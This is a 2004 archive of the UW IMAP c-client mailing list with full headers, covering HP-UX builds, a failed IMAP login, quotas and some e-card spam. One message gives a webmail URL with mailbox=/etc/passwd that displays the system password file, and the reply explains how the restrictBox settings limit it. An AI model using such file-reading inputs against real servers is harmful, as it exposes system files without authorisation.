(smtp011.mail.yahoo.com [216.136.173.31]) by mxu7.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i1D0uGwR007515 for ; Thu, 12 Feb 2004 16:56:16 -0800 Received: from unknown (HELO csdmty153) (wjbf3000@200.34.221.22 with login) by smtp011.mail.yahoo.com with SMTP; 13 Feb 2004 00:56:16 -0000 Message-Id: <003901c3f1cc$2cb3f740$171513ac@csdmty153> Date: Thu, 12 Feb 2004 18:56:11 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Wingston Barahona" To: "Mark Crispin" Cc: Subject: Re: Is UW IMAP compatible with HP-UX 11.0 or 11.11 References: <000801c3f038$edba24e0$141513ac@csdmty153> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Uwash-Spam: Gauge=XI, Probability=11%, Report='PRIORITY_NO_NAME 0.716, FROM_ENDS_IN_NUMS 0.001, QUOTED_EMAIL_TEXT 0, REFERENCES 0.000' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Yes, It's correct but in this moment I want to login to IMAP Server but it's imposible for me. I'm Testing my IMAP4 connection ============================= - do a telnet localhost 143 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. * OK Oracle IMAP4r1 (5.2.0.0.28) server ready --> 1 login user1 password --> 1 NO LOGIN failed This user is a valid user of UNIX System Can you help me with this problem? Wingston Barahona. ----- Original Message ----- From: "Mark Crispin" To: "Wingston Barahona" Cc: ; "Isaias Correa " Sent: Tuesday, February 10, 2004 6:58 PM Subject: Re: Is UW IMAP compatible with HP-UX 11.0 or 11.11 > On Tue, 10 Feb 2004, Wingston Barahona wrote: > > We'd like to install the IMAP mail server, but in the file Makefile has > > only until HP-UX 10.x. > > In general, such indications as "for HP-UX 10.x" really mean "for HP-UX > 10.x and later versions". > > > We have HP-UX 11.0 and 11.11 in our UNIX Server, and we'd like to know > > if there are a new version of UW IMAP mail server compatible with this > > platform, or if we can install the current version without any risks. > > I no longer have access to any HP-UX systems, so I can not say with > certainty. However, the last time I tried to build on an HP-UX system it > worked, and I believe that system was HP-UX 11.0. > > I recommend that you try building it. If it builds successfully, then it > should work. > > If it does not build, or if you have problems running it, please send me > email and I will try to resolve the problem for you. > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. > Si vis pacem, para bellum. > From pinedev@shivax2.cac.washington.edu Fri Feb 13 06:40:30 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 13 Feb 2004 06:40:30 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i1DEeUvI017891 for ; Fri, 13 Feb 2004 06:40:30 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i1DEeSGV003236 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 13 Feb 2004 06:40:28 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i1DEdIFh011076; Fri, 13 Feb 2004 06:39:18 -0800 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i1DEbnuL007738 for ; Fri, 13 Feb 2004 06:37:49 -0800 Received: from polaris.umdnj.edu (polarisa.UMDNJ.EDU [130.219.34.131]) by mxu7.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i1DEbiwR009439 for ; Fri, 13 Feb 2004 06:37:48 -0800 Received: from conversion-daemon.Polaris.umdnj.edu by Polaris.umdnj.edu (iPlanet Messaging Server 5.2 HotFix 1.16 (built May 14 2003)) id <0HT1007010SE0E@Polaris.umdnj.edu> for c-client@u.washington.edu; Fri, 13 Feb 2004 09:38:23 -0500 (EST) Received: from rwja.umdnj.edu (rwja.umdnj.edu [130.219.4.100]) by Polaris.umdnj.edu (iPlanet Messaging Server 5.2 HotFix 1.16 (built May 14 2003)) with ESMTP id <0HT100CI51ZZTT@Polaris.umdnj.edu> for c-client@u.washington.edu; Fri, 13 Feb 2004 09:38:23 -0500 (EST) Received: from localhost (jade.UMDNJ.EDU [130.219.4.109]) by rwja.umdnj.edu (8.9.3 (PHNE_29774)/8.9.3) with ESMTP id JAA15871 for ; Fri, 13 Feb 2004 09:37:39 -0500 (EST) Received: from aries.UMDNJ.EDU (aries.UMDNJ.EDU [130.219.4.108]) by jade.umdnj.edu (Horde) with HTTP for ; Fri, 13 Feb 2004 09:37:39 -0500 Message-Id: <20040213093739.639k4gckkgk4sccs@jade.umdnj.edu> Date: Fri, 13 Feb 2004 09:37:39 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Cliff Green To: c-client@u.washington.edu Subject: Re: Is UW IMAP compatible with HP-UX 11.0 or 11.11 In-Reply-To: <003901c3f1cc$2cb3f740$171513ac@csdmty153> References: <000801c3f038$edba24e0$141513ac@csdmty153> MIME-version: 1.0 Content-type: text/plain; format=flowed; charset=ISO-8859-1 Content-transfer-encoding: 7BIT Content-disposition: inline X-Originating-IP: 130.219.4.108 X-Priority: 3 (Normal) X-Uwash-Spam: Gauge=XI, Probability=11%, Report='PRIORITY_NO_NAME 0.716, SIGNATURE_SHORT_DENSE 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Quoting Wingston Barahona: > Yes, It's correct but in this moment I want to login to IMAP Server but it's > imposible for me. > > I'm Testing my IMAP4 connection > ============================= > - do a telnet localhost 143 > Trying 127.0.0.1... > Connected to localhost. > Escape character is '^]'. > * OK Oracle IMAP4r1 (5.2.0.0.28) server ready ^^^^^^^^^^^^^^ > --> 1 login user1 password > --> 1 NO LOGIN failed > > This user is a valid user of UNIX System Maybe your Oracle server isn't looking at the system accounts for credentials. A naive guess would be that the Oracle imap service is part of an Oracle collaboration product, and requires the Oracle product to be configured - perhaps to have the Oracle user db populated? Just a guess. c -- Cliff Green Academic Computing Services - UMDNJ Signature under NDA From pinedev@shivax2.cac.washington.edu Fri Feb 13 09:06:19 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 13 Feb 2004 09:06:19 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i1DH6JvI022884 for ; Fri, 13 Feb 2004 09:06:19 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i1DH6HcJ023830 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 13 Feb 2004 09:06:18 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i1DH5CVb013900; Fri, 13 Feb 2004 09:05:12 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i1DH44uL055320 for ; Fri, 13 Feb 2004 09:04:04 -0800 Received: from mail.acmesecurity.org ([200.145.216.2]) by mxu2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i1DH428K005538 for ; Fri, 13 Feb 2004 09:04:03 -0800 Received: from acmesecurity.org (unknown [192.168.20.65]) by mail.acmesecurity.org (Postfix) with ESMTP id 7DD283EDE for ; Fri, 13 Feb 2004 15:03:20 -0200 (BRST) Message-Id: <402D0353.40309@acmesecurity.org> Date: Fri, 13 Feb 2004 15:03:15 -0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Thiago Alves Siqueira To: c-client@u.washington.edu Subject: UW-IMAP vulnerability? MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en X-Enigmail-Version: 0.82.6.0 X-Enigmail-Supports: pgp-inline, pgp-mime X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='LINES_OF_YELLING 0.001, __HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, X_ACCEPT_LANG 0, __MOZILLA_MSGID 0, PGP_SIGNATURE 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi all! I am implementing an Horde/IMP webmail on a server. It connects into my IMAP server. If I log into the webmail and type in the address bar https://webmail.yoursite.org/horde/imp/mailbox.php?mailbox=/etc/passwd appears in my screen the file. I asked about it in the HORDE mail list, and they said that it isn't his program's vulnerability, but an IMAP's vulnerability. Is this true? Is there a patch for this vulnerability, if it is really one? I'm using debian and installed IMAP via apt-get. Thanks, - -- Thiago Alves Siqueira ACME! Computer Security Researcher thiago@acmesecurity.org - Brazil -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) Comment: Using GnuPG with Debian - http://enigmail.mozdev.org iD8DBQFALQNT2LAJCBHtEnMRArO5AJ4pQqrutqcfFhm0rnhX5KaTI1ofOQCgp5MJ w7xSqVH4StfMl2r2MUmRj+g= =PnLC -----END PGP SIGNATURE----- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Feb 13 09:55:04 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 13 Feb 2004 09:55:04 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i1DHt3vI025365 for ; Fri, 13 Feb 2004 09:55:03 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i1DHt2cJ025871 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 13 Feb 2004 09:55:02 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i1DHrp52013210; Fri, 13 Feb 2004 09:53:51 -0800 Received: from mxu6.u.washington.edu (mxu6.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i1DHqluL036648 for ; Fri, 13 Feb 2004 09:52:47 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxu6.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i1DHqgJI027897 for ; Fri, 13 Feb 2004 09:52:42 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxout5.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i1DHqfa3013621; Fri, 13 Feb 2004 09:52:41 -0800 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i1DHqeW7018909; Fri, 13 Feb 2004 09:52:41 -0800 Message-Id: Date: Fri, 13 Feb 2004 09:52:40 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Thiago Alves Siqueira Cc: c-client@u.washington.edu Subject: Re: UW-IMAP vulnerability? In-Reply-To: <402D0353.40309@acmesecurity.org> References: <402D0353.40309@acmesecurity.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN By default, UW imapd allows access to any file that the logged in userid has access. If this is a "vulnerability" in IMAP, then it is a vulnerability in the shell, in FTP, in scp, in NFS, and in anything else that allows file access. If you wish to restrict user access to certain spaces, take a look at the restrictBox settings in imap-????/src/osdep/unix/env_unix.c. restrictBox is a bitmask which can be set to RESTRICTROOT (to deny access to rooted names) and/or RESTRICTOTHERUSER (to deny access to "~"). If you set RESTRICTOTHERUSER you probably want to set RESTRICTROOT as well. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Fri Feb 13 13:03:37 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 13 Feb 2004 13:03:37 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i1DL3bvI002122 for ; Fri, 13 Feb 2004 13:03:37 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i1DL3acJ001309 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 13 Feb 2004 13:03:36 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i1DL2h52013632; Fri, 13 Feb 2004 13:02:43 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i1DL1kuL025774 for ; Fri, 13 Feb 2004 13:01:46 -0800 Received: from basalt.colby.edu (basalt.colby.edu [137.146.210.56]) by mxu3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i1DL1e86021530 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 13 Feb 2004 13:01:45 -0800 Received: from cayuga (cayuga.colby.edu [137.146.209.29]) by basalt.colby.edu (8.12.11/8.12.11/1.48') with ESMTP id i1DL1Z7S005835 for ; Fri, 13 Feb 2004 16:01:35 -0500 (EST) Message-Id: Date: Fri, 13 Feb 2004 16:01:35 -0500 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Jeff A. Earickson" To: c-client@u.washington.edu Subject: uw imapd and quotas MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-X-Sender: jaearick@cayuga X-Colby-MailScanner: ftbc X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, I am running uw imapd 2002e on a Solaris 9 box, with quotas on the home directories. Does imap understand quota filesystems? This ought to be an FAQ, couldn't find any reference to quotas in the docs or the FAQ. Jeff Earickson Colby College -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Feb 13 14:09:22 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 13 Feb 2004 14:09:22 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i1DM9MvI004884 for ; Fri, 13 Feb 2004 14:09:22 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i1DM9Kk7022196 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 13 Feb 2004 14:09:20 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i1DM8SFh011094; Fri, 13 Feb 2004 14:08:28 -0800 Received: from mxu9.u.washington.edu (mxu9.u.washington.edu [140.142.32.174]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i1DM7duL056636 for ; Fri, 13 Feb 2004 14:07:39 -0800 Received: from mxout6.cac.washington.edu (mxout6.cac.washington.edu [140.142.33.20]) by mxu9.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i1DM7cdw031759 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 13 Feb 2004 14:07:38 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout6.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i1DM7bms027502; Fri, 13 Feb 2004 14:07:37 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.10+UW03.09/8.12.11+UW04.02) with ESMTP id i1DM7aQa010484 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Fri, 13 Feb 2004 14:07:37 -0800 Message-Id: Date: Fri, 13 Feb 2004 14:07:37 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Jeff A. Earickson" Cc: c-client@u.washington.edu Subject: Re: uw imapd and quotas In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 13 Feb 2004, Jeff A. Earickson wrote: > I am running uw imapd 2002e on a Solaris 9 box, > with quotas on the home directories. Does imap understand > quota filesystems? UW imapd does not implement the IMAP QUOTA extension, which allows a client to manipulate quotas for individual mailboxes. On UNIX filesystems, quota management requires root privileges (and there's also the small matter the different UNIX variants implement quotas in different ways). If you do an operation that causes a disk write error (including over quota), UW imapd will back out of the operation and restore the file to its original state. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Sun Feb 15 15:16:07 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 15 Feb 2004 15:16:07 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i1FNG7vI024785 for ; Sun, 15 Feb 2004 15:16:07 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i1FNG6cJ030545 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 15 Feb 2004 15:16:06 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i1FNFAVb011482; Sun, 15 Feb 2004 15:15:10 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i1FN9ZuL053990 for ; Sun, 15 Feb 2004 15:09:35 -0800 Received: from sina.com (sina35-249.sina.com.cn [202.108.35.249] (may be forged)) by mxu4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i1FN9QBj001198 for ; Sun, 15 Feb 2004 15:09:34 -0800 Received: (qmail 24328 invoked by uid 99); 15 Feb 2004 23:09:22 -0000 Received: from Ò×ÎäÀ¤(218.3.94.77) by webserver with HTTP; Message-Id: <20040215230922.24327.qmail@sina.com> Date: Mon, 16 Feb 2004 07:09:22 +0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Ò×ÎäÀ¤" To: c-client@u.washington.edu MIME-Version: 1.0 X-Priority: 3 X-Uwash-Spam: Gauge=XII, Probability=12%, Report='PRIORITY_NO_NAME 0.716, URI_HEAVY 0.206, __SANE_MSGID 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __HAS_X_PRIORITY 0, __SUBJ_MISSING 0, HEADER_8BITS 0.000, __HIGHBITS 0, SIGNATURE_SHORT_DENSE 0, MAY_BE_FORGED 0.000, __HAS_MSGID 0, SUBJ_MISSING 0.000' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN c-client software ______________________________________ ÄúµÄÅóÓÑÒ×ÎäÀ¤£¬¸øÄú·¢À´ÁËÒ»Õźؿ¨£¡¹Û¿´>>( http://ecards.sina.com.cn/2000/2004-2-10/11182351688.swf )×¢²áÐÂÀË9Õ×Ãâ·ÑÓÊÏ䣨 http://mail.sina.com.cn/chooseMode.html £© =================================================================== ÇéÈ˽ÚÁµ°®ÃØóÅ----Áµ°®ÐèÒªÕâÑùµÄ±í°×£¡£¡£¡ (http://ad4.sina.com.cn/shc/zhuiyu_hprefresh1.html) -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Feb 15 20:13:11 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 15 Feb 2004 20:13:11 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i1G4DBvI031869 for ; Sun, 15 Feb 2004 20:13:11 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i1G4D9k7017504 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 15 Feb 2004 20:13:10 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i1G4Btrk015670; Sun, 15 Feb 2004 20:11:58 -0800 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i1G492uL053762 for ; Sun, 15 Feb 2004 20:09:02 -0800 Received: from sina.com (sina35-242.sina.com.cn [202.108.35.242] (may be forged)) by mxu7.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i1G490At022830 for ; Sun, 15 Feb 2004 20:09:01 -0800 Received: (qmail 12292 invoked by uid 99); 16 Feb 2004 04:08:58 -0000 Received: from Ò×ÎäÀ¤(218.3.94.77) by webserver with HTTP; Message-Id: <20040216040858.12291.qmail@sina.com> Date: Mon, 16 Feb 2004 12:08:58 +0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Ò×ÎäÀ¤" To: c-client@u.washington.edu MIME-Version: 1.0 X-Priority: 3 X-Uwash-Spam: Gauge=XII, Probability=12%, Report='PRIORITY_NO_NAME 0.716, URI_HEAVY 0.206, __SANE_MSGID 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __HAS_X_PRIORITY 0, __SUBJ_MISSING 0, HEADER_8BITS 0.000, __HIGHBITS 0, SIGNATURE_SHORT_DENSE 0, MAY_BE_FORGED 0.000, __HAS_MSGID 0, SUBJ_MISSING 0.000' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN c-client software ______________________________________ ÄúµÄÅóÓÑÒ×ÎäÀ¤£¬¸øÄú·¢À´ÁËÒ»Õźؿ¨£¡¹Û¿´>>( http://ecards.sina.com.cn/2000/2004-2-10/11182351688.swf )×¢²áÐÂÀË9Õ×Ãâ·ÑÓÊÏ䣨 http://mail.sina.com.cn/chooseMode.html £© =================================================================== -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Feb 20 17:30:01 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 20 Feb 2004 17:30:01 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i1L1U1Zf027033 for ; Fri, 20 Feb 2004 17:30:01 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i1L1TxRT028568 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 20 Feb 2004 17:30:00 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i1L1SwFh016028; Fri, 20 Feb 2004 17:29:01 -0800 Received: from mxu9.u.washington.edu (mxu9.u.washington.edu [140.142.32.174]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i1L1PbuL119984 for ; Fri, 20 Feb 2004 17:25:37 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxu9.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i1L1PaVq031478 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 20 Feb 2004 17:25:36 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout5.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i1L1PYCu006310; Fri, 20 Feb 2004 17:25:35 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i1L1PYJV004173 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Fri, 20 Feb 2004 17:25:34 -0800 Message-Id: Date: Fri, 20 Feb 2004 17:25:35 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Jorge Venzor Cc: c-client@u.washington.edu, green@UMDNJ.EDU Subject: Re: I have a problem with Server IMAP In-Reply-To: <3324A6A9274E0B4D81D23D7BE9B1FB443363FD@correo.mpiochih.gob.mx> References: <3324A6A9274E0B4D81D23D7BE9B1FB443363FD@correo.mpiochih.gob.mx> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN What command did you use to build the software? What error message(s) did you get? -- Mark -- http://staff.washington.edu/mrc Science does not emerge from 